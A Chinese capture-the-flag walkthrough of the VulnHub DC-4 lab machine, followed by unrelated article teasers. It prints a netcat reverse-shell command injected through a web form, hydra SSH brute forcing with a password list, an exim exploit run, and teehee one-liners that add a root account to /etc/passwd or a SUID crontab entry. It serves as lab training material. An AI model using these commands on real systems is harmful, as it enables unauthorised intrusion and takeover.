DC-4靶机

一.环境搭建

1.下载地址

靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip

下载不下来用迅雷下载

2.虚拟机配置

切换为nat模式

开启靶机,遇到所有的错误直接点重试或者是,开启后呈现为下图即可

二.开始渗透

1.信息收集

老规矩,扫一下这个靶机的ip是多少

arp-scan -l

 用nmap扫一下开放端口和服务

nmap -p- -sV 192.168.111.132

 

开启了一个ssh和http服务,通过浏览器访问一下这个http服务

 开始还以为是sql注入,看了大佬的wp,直接暴力破解,那么我们也使用暴力破解来猜解密码,一般这种靶机的暴力破解的密码还是挺简单的,看到admin information,用户名我们直接锁定admin

打开burpsuite,抓包放到爆破模块去,这部分操作不会可以看pikachu靶场的操作,链接如下

pikachu靶场-暴力破解-CSDN博客

选中替换位置,导入字典,开始爆破(这个操作自己搞定吧)

账号密码爆破出来是admin/happy 

点进去看一下功能点,看到一个命令执行,ls,直接抓包尝试命令注入 

2.漏洞利用(获得shell)

抓包到如下的数据包,可以看到ls -l这个命令,我们就在此处进行命令注入

可以参考如下这篇文章

pikachu靶场-RCE_rce的无过滤-CSDN博客

执行一下cat command.php查看一下这个命令文件的代码 

数据包和代码如下,可以 

HTTP/1.1 200 OKServer: nginx/1.15.10Date: Sun, 24 Mar 2024 06:38:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 2522<html><head><title>System Tools - Command</title><link rel="stylesheet" href="css/styles.css"></head><body><div class="container"><div class="inner">You are currently logged in<p>		<form method="post" action="command.php"><strong>Run Command:</strong><br><input type="radio" name="radio" value="ls -l" checked="checked">List Files<br /><input type="radio" name="radio" value="du -h">Disk Usage<br /><input type="radio" name="radio" value="df -h">Disk Free<br /><p><input type="submit" name="submit" value="Run"></form>You have selected: cat command.php<br /><pre><?php// You'd put this code at the top of any "protected" page you create// Always start this firstsession_start();if ( isset( $_SESSION['LoggedIn'] ) ) {// Grab user data from the database using the user_id// Let them access the "logged in only" pages} else {// Redirect them to the login pageheader("Location: index.php");}?><html><head><title>System Tools - Command</title><link rel="stylesheet" href="css/styles.css"></head><body><div class="container"><div class="inner"><?php//if ($_SESSION['LoggedIn']) {if (isset($_SESSION['LoggedIn'])) {echo "You are currently logged in<p>";}else{}?><form method="post" action="command.php"><strong>Run Command:</strong><br><input type="radio" name="radio" value="ls -l" checked="checked">List Files<br /><input type="radio" name="radio" value="du -h">Disk Usage<br /><input type="radio" name="radio" value="df -h">Disk Free<br /><p><input type="submit" name="submit" value="Run"></form><?php//if ($_SESSION['LoggedIn']) {if (isset($_SESSION['LoggedIn'])) {if (isset($_POST['submit'])) {if(isset($_POST['radio'])){echo "You have selected: ".$_POST['radio'] . "<br />";$my_cmd = $_POST['radio'];//echo $my_cmd;$output = shell_exec($my_cmd);echo "<pre>";print $output;echo "</pre>";}}echo "<p><a href='login.php'>Return to the menu.</a>";}else{echo "You need to be logged in to use this system.";echo "<p><a href='index.php'>Click to Log In Again</a>";}?></div></div></body></html></pre><p><a href='login.php'>Return to the menu.</a>			</div></div></body></html>

 

可以看到他的执行函数为shell_exec,直接在kali端启一个端口监听反弹shell

在数据包中将命令替换为如下 

nc 192.168.111.128 4444 -e /bin/bash

在kali端启动端口监听

nc -lvvp 4444

 在做这步操作的时候,我靶机挂掉了一次,直接重启虚拟机即可

 获得到一个shell,用python启一个交互式shell

python -c 'import pty;pty.spawn("/bin/sh")'

在/home/jim/backups目录下看到备份密码的文件

3.密码爆破

000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon
654321
666666
123
myspace1
a123456
121212
1qaz2wsx
123qwe
123abc
tinkle
target123
gwerty
1g2w3e4r
gwerty123
zag12wsx
7777777
qwerty1
1q2w3e4r
987654321
222222
qwe123
qwerty123
zxcvbnm
555555
112233
fuckyou
asdfghjkl
12345a
123123123
1q2w3e
qazwsx
loveme1
juventus
jennifer1
!~!1
bubbles
samuel
fuckoff
lovers
cheese1
0123456
123asd
999999999
madison
elizabeth1
music
buster1
lauren
david1
tigger1
123qweasd
taylor1
carlos
tinkerbell
samantha1
Sojdlg123aljg
joshua1
poop
stella
myspace123
asdasd5
freedom1
whatever1
xxxxxx
00000
valentina
a1b2c3
741852963
austin
monica
qaz123
lovely1
music1
harley1
family1
spongebob1
steven
nirvana
1234abcd
hellokitty
thomas1
cooper
520520
muffin
christian1
love13
fucku2
arsenal1
lucky7
diablo
apples
george1
babyboy1
crystal
1122334455
player1
aa123456
vfhbyf
forever1
Password
winston
chivas1
sexy
hockey1
1a2b3c4d
pussy
playboy1
stalker
cherry
tweety
toyota
creative
gemini
pretty1
maverick
brittany1
nathan1
letmein1
cameron1
secret1
google1
heaven
martina
murphy
spongebob
uQA9Ebw445
fernando
pretty
startfinding
softball
dolphin1
fuckme
test123
qwerty1234
kobe24
alejandro
adrian
september
aaaaaa1
bubba1
isabella
abc123456
password3
jason1
abcdefg123
loveyou1
shannon
100200
manuel
leonardo
molly1
flowers
123456z
007007
password.
321321
miguel
samsung1
sergey
sweet1
abc1234
windows
qwert123
vfrcbv
poohbear
d123456
school1
badboy
951753
123456c
111
steven1
snoopy1
garfield
YAgjecc826
compaq
candy1
sarah1
qwerty123456
123456l
eminem1
141414
789789
maria
steelers
iloveme1
morgan1
winner
boomer
lolita
nastya
alexis1
carmen
angelo
nicholas1
portugal
precious
jackass1
jonathan1
yfnfif
bitch
tiffany
rabbit
rainbow1
angel123
popcorn
barbara
brandy
starwars1
barney
natalia
jibril04
hiphop
tiffany1
shorty
poohbear1
simone
albert
marlboro
hardcore
cowboys
sydney
alex
scorpio
1234512345
q12345
qq123456
onelove
bond007
abcdefg1
eagles
crystal1
azertyuiop
winter
sexy12
angelina
james
svetlana
fatima
123456k
icecream
popcorn1

生成密码爆破的文件,用hydra进行ssh爆破

爆破ssh 通过目录可以得知用户名为jim


hydra -l jim -P passwd.txt -t 10 ssh://192.168.111.132

 

爆破出ssh的账号密码为jim/jibril04,进行登录

ssh jim@192.168.111.132

在登录后提示我一个邮件,查看邮件内容

给出了密码

Password is:  ^xHhA&hvim0y

切换 Charles用户

su charles
sudo -l

 查看一下可以执行的命令

 发现有能够以root执行的teehee命令,而teehee的作用是可以向文件中追加内容(这部分提权内容在其他标题下)

 4.权限提升

用find看一下root权限能执行的命令

可以看到一个exim4命令

 版本号为4.89

用漏洞搜索工具查看一下有哪些可以利用的提权漏洞

查看漏洞利用脚本的地址在哪 

searchsploit -p 46996

 将脚本拷贝到jim的账户下

scp /usr/share/exploitdb/exploits/linux/local/46996.sh jim@192.168.111.132:/home/jim

 执行46996.sh

./46996.sh

 成功提权为root

拿到最终的flag文件

三.其他

1.可以利用teehee命令写入/etc/passwd进行提权

teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

echo "mlws::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。

所以只需要执行su mlws就可以登录到mlws用户,这个用户因为uid为0,所以也是root权限 

成功提权

2.可以利用teehee命令写入/etc/corntab进行提权

这个工具还有通过向定时任务/etc/crontab写入进行提权

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

表示在/etc/crontab下写入定时计划,一分钟后由root用户给 /bin/bash 命令加权限(chmod 4777即开启suid和rwx权限)

也是成功进行提权 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/769893.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【排序算法】插入排序与选择排序详解

文章目录 &#x1f4dd;选择排序是什么&#xff1f;&#x1f320;选择排序思路&#x1f309; 直接选择排序&#x1f320;选择排序优化&#x1f320;优化方法&#x1f309;排序优化后问题 &#x1f320;选择排序效率特性 &#x1f309;插入排序&#x1f320;插入排序实现 &#…

简单了解单例模式

什么是单例模式 对于一个类&#xff0c;只有一个实例化的对象&#xff0c;我们构建单例模式一般有两种&#xff1a;饿汉式和懒汉式 饿汉式 优点是无线程安全问题&#xff0c;类加载就创建对象缺点是占内存 class Singleton01{private static Singleton01 instance new Sing…

【JavaScript】JavaScript 程序流程控制 ⑥ ( while 循环概念 | while 循环语法结构 )

文章目录 一、while 循环1、while 循环概念2、while 循环语法结构 二、while 循环 - 代码示例1、打印数字2、计算 1 - 10 之和 一、while 循环 1、while 循环概念 在 JavaScript 中 , while 循环 是一种 " 循环控制语句 " , 使用该语句就可以 重复执行一段代码块 , …

瑞_Redis_商户查询缓存_什么是缓存

文章目录 项目介绍1 短信登录2 商户查询缓存2.1 什么是缓存2.1.1 缓存的应用场景2.1.2 为什么要使用缓存2.1.3 Web应用中缓存的作用2.1.4 Web应用中缓存的成本 附&#xff1a;缓存封装工具类 &#x1f64a; 前言&#xff1a;本文章为瑞_系列专栏之《Redis》的实战篇的商户查询缓…

C语言---------strlen的使用和模拟实现

字符串是以‘\0’作为结束标志&#xff0c;strlen函数的返回值是‘\0’前面的字符串的个数&#xff08;不包括‘\0’&#xff09; 注意 1&#xff0c;参数指向的字符串必须以‘\0’结束 2&#xff0c;函数的返回值必须以size_t,是无符号的 使用代码 ​ #include<stdio.…

学习刷题-13

3.23 hw机试【二叉树】 剑指offer32 剑指 offer32&#xff08;一、二、三&#xff09;_剑指offer 32-CSDN博客 从上到下打印二叉树I 一棵圣诞树记作根节点为 root 的二叉树&#xff0c;节点值为该位置装饰彩灯的颜色编号。请按照从 左 到 右 的顺序返回每一层彩灯编号。 输…

学习vue3第十一节(依赖注入:provide/inject)

本机介绍&#xff1a;provide/inject 注意&#xff1a;大家在看此小节时候&#xff0c;默认大家已经了解一些组件的使用方法 1、依赖注入的用途&#xff1a; 当嵌套层级多的时候&#xff0c;某个子组件需要较远层级的父组件数据时候&#xff0c;如果我们依然使用props 传递数…

关系型数据库mysql(6)备份与恢复

一.数据备份的重要性 &#xff08;1&#xff09;在生产环境中&#xff0c;数据的安全性至关重要 &#xff08;2&#xff09;任何数据的丢失都可能产生严重的后果 &#xff08;3&#xff09;造成数据丢失的原因 程序错误人为操作失误运算错误磁盘故障灾难&#xff08;如火灾…

背景减除(1)--bgslibrary Windows编译和使用

入侵监控领域中&#xff0c;在固定场景下&#xff0c;需要检测和监控的入侵物体种类繁多&#xff0c;无法具体穷尽。传统的CV算法提取的特征应用场景有限&#xff0c;无法完成大量物体的监控&#xff1b;深度学习目标检测方法没法收集到无穷无尽的物体种类&#xff0c;因此监督…

C语言----strcpy和strcat的使用和模拟实现

一&#xff0c;strcpy()函数 strcpy() 函数是 C语言中一个非常重要的字符串处理函数&#xff0c;其功能是将一个字符串复制到另一个字符串中。该函数原型如下&#xff1a; char*strcpy(char*dest,const char*src) 其中&#xff0c;dest 表示目标字符串&#xff0c;即将被复制到…

【HDFS】DatanodeAdminBackoffMonitor退役节点极慢的问题定位

一、现象: 下节点特别慢。10台节点,每台大约需要退役60w个块。但是3个小时才退役了3000多个块。 NN侧如下日志,可以看到30秒只退役了512-494 = 20个块,这要是退役600w个块,得猴年马月? 2024-03-19 14:44:42,952 INFO org.apache.hadoop.hdfs.server.blockmanagement.D…

浅析扩散模型与图像生成【应用篇】(十一)——DDIBs

11. Dual Diffusion Implicit Bridges for Image-to-Image Translation 该文提出一种双扩散隐式桥&#xff08;Dual Diffusion Implicit Bridges&#xff0c; DDIBs&#xff09;方法用于图像转换&#xff0c;其最大的特点在于处理源域图像的模型和处理目标域图像的模型是彼此分…

华为防火墙二层墙(VAN/SVI/单臂路由)

二层墙只能做地址池形式的NAT。 交换机安全策略防火墙二层墙 路由器安全策略防火墙三层墙 交换机的光口是不能直接插线的&#xff0c;光模块&#xff0c;包括进和出 长距离&#xff1a;单模 短距离&#xff1a;多模 防火墙自身的ping流量需要单独配置

一篇复现Docker镜像操作与容器操作

华子目录 Docker镜像操作创建镜像方式1docker commit示例 方式2docker import示例1&#xff1a;从本地文件系统导入示例2&#xff1a;从远程URL导入注意事项 方式3docker build示例1&#xff1a;构建镜像并指定名称和标签示例2&#xff1a;使用自定义的 Dockerfile 路径构建镜像…

Unity连接MySQL踩坑,问题处理记录

用的unity2021版本&#xff0c;MySQL是官方下载的最新版8.0.36. 安装MySQL时&#xff0c;过去如果安装过&#xff0c;一定要删干净&#xff0c;单纯的卸载不行&#xff0c;网上有很多教程。 MySQL安装完成后&#xff0c;将安装目录的MySql.Data.dll文件放入unity项目的Plugin…

数据运营常用的8大模型

✅作者简介&#xff1a;《数据运营&#xff1a;数据分析模型撬动新零售实战》作者、《数据实践之美》作者、数据科技公司创始人、多次参加国家级大数据行业标准研讨及制定、高端企培合作讲师。 &#x1f338;公众号&#xff1a;风姑娘的数字视角&#xff0c;免费分享数据应用相…

202447读书笔记|《围炉夜话》——多记先正格言,胸中方有主宰 闲看他人行事,眼前即是规箴

202447读书笔记|《围炉夜话》——多记先正格言&#xff0c;胸中方有主宰&#xff1b;闲看他人行事&#xff0c;眼前即是规箴 围炉夜话 《围炉夜话&#xff08;读客三个圈经典文库&#xff09;》作者王永彬。读《围炉夜话》&#xff0c;可以掌握君子安身立业的大智慧&#xff01…

【Canvas与艺术】暗蓝网格汽车速度仪表盘

【关键点】 采用线性渐变色&#xff0c;使上深下浅的圆有凹下效果&#xff0c;使上浅下深的圆有凸起效果&#xff0c;两者结合就有立体圆钮的感觉。 【图例】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type&quo…

2015年认证杯SPSSPRO杯数学建模C题(第二阶段)荒漠区动植物关系的研究全过程文档及程序

2015年认证杯SPSSPRO杯数学建模 C题 荒漠区动植物关系的研究 原题再现&#xff1a; 环境与发展是当今世界所普遍关注的重大问题, 随着全球与区域经济的迅猛发展, 人类也正以前所未有的规模和强度影响着环境、改变着环境, 使全球的生命支持系统受到了严重创伤, 出现了全球变暖…

R语言基础入门

1.保存或加载工作空间 改变工作目录——进行文件读写&#xff0c;默认去指定文件进行操作。&#xff08;使用R时&#xff0c;最好先设定工作目录&#xff08;setwd(),getwd()&#xff09;&#xff09; setwd(“工作文件路径”)&#xff1a;建立工作目录 getwd&#xff08;&…